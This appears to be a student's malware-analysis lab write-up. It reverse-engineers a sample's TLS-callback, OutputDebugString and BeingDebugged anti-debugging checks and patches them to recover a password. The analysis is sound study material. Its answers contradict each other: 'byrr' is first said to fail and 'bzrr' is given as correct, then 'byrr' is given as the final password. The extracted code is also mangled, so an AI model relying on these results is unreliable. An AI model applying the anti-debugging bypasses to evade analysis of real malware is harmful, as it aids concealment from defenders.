, then it’ll not exit directly.... .tls:00401076 85 C0 test eax, eax .tls:00401078 74 07 jz short loc_401081 .tls:0040107A 6A 00 push 0 ; int .tls:0040107C E8 AC 0F 00 00 call _exit ...
- By the observation above, it’s obviously using
- What is the command-line password you see in the debugger after you disable the anti-debugging technique?
Ans:
I used
x32dbg
instead becauseOllydbg
cannot entry tTLS section
. And the password I observed isP}ÿÿ
. - Does the password found in the debugger work on the command line?
Ans:
Not at all with
byrr
,p@ss
, andP}ÿÿ
. -
Which anti-debugging techniques account for the different passwords in the debugger and on the command line, and how can you protect against them? Ans: The correct answer in command line is **`bzrr`** without using debugger.
Lecture Note P54
Refer to other write upLooking deeper into the
TLS callback
shows a second debugger check that looks for a changed error code after the call toOutputDebugString
at 40103A. If no debugger is present, a new error should overwrite the existing value. Otherwise the global variable at40A968
would be incremented. ```cpp=1 DWORD sub_401020() { DWORD result; // eaxSetLastError(12345u); OutputDebugStringA(OutputString); result = GetLastError(); if ( result == 12345 ) ++byte_40A968; return result; } ```
Then what is the matter of this problem? In
.tls:0040109B
, it has the instruction(mov bl, byte_40A968
) about password generation that will use global variable40A968
. Therefore, if the 2nd scanner judge the user that used the debugger, variable40A968
will increase, and then the password will different. Solution: Since this variable is incremented only when a debugger is detected, the increment instruction should be patched so that the variable remains constant.
- And another part that will affect password generation is
BeingDebugged
flag1
2
3
4
5
6
7
8
9
10
11
12int __cdecl main(int argc, const char **argv, const char **envp) { if( argc == 1 ) ... else { CreateThread(0, 0, StartAddress, 0, 0, &ThreadId); Sleep(1000u); ... } ... }
Note that,
StartAddress
is shown as below.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39DWORD __stdcall StartAddress(LPVOID lpThreadParameter) { unsigned int v1; // ebx signed int i; // ecx int v3; // ebx byte_408032 = 4 * __ROL1__(7, 6); byte_408032 ^= '?'; byte_408032 *= 2; byte_408030 = __ROL1__(-112, 2); byte_408031 = byte_40A968 + __ROL1__(22, 6); byte_408031 *= 2; byte_408033 = 56; byte_408032 = __ROR1__(byte_408032, 7); v1 = __readfsdword('0'); byte_408031 = __ROL1__(byte_408031, 4); byte_408030 = __ROR1__(__ROL1__(-112, 2), 3); byte_408030 ^= '\r'; byte_408031 = __ROR1__(byte_408031, 5); byte_408032 ^= '�'; byte_408033 = __ROR1__(__ROR1__(-3, 4), 1); byte_408032 = __ROR1__(byte_408032, 2); byte_408031 = __ROR1__(byte_408031, 1); byte_408031 ^= '�'; byte_408030 = __ROL1__(byte_408030, 6); byte_408030 ^= 'r'; LOBYTE(v1) = *(_BYTE *)(v1 + 2); byte_408031 = __ROL1__(byte_408031, 1); byte_408033 ^= '�'; byte_408033 = __ROL1__(byte_408033, 7); byte_408032 += v1; for ( i = 4; i; --i ) { v3 = i - 1; *(&byte_408030 + v3) &= '\x19'; *(&byte_408030 + v3) += 97; } return 1; }
Try to observe the assembly code of these program, then you will see some tricky
1
2
3
4... .tls:0040112B mov ebx, large fs:30h ... .tls:0040118B mov bl, [ebx+2]
Then according to other write up, just patched it as
mov bl, 0
, then done. Just like other write up saidAnother part of the password generation mechanism uses the
BeingDebugged
flag to compute values. `BeingDebugged` would be set to 0 if no debugger is present. The assignment ofBeingDebugged
was patched to always assign 0, in the generation function at 40118B. - Finally observe the byte code at
00408030
, the password is **`byrr`**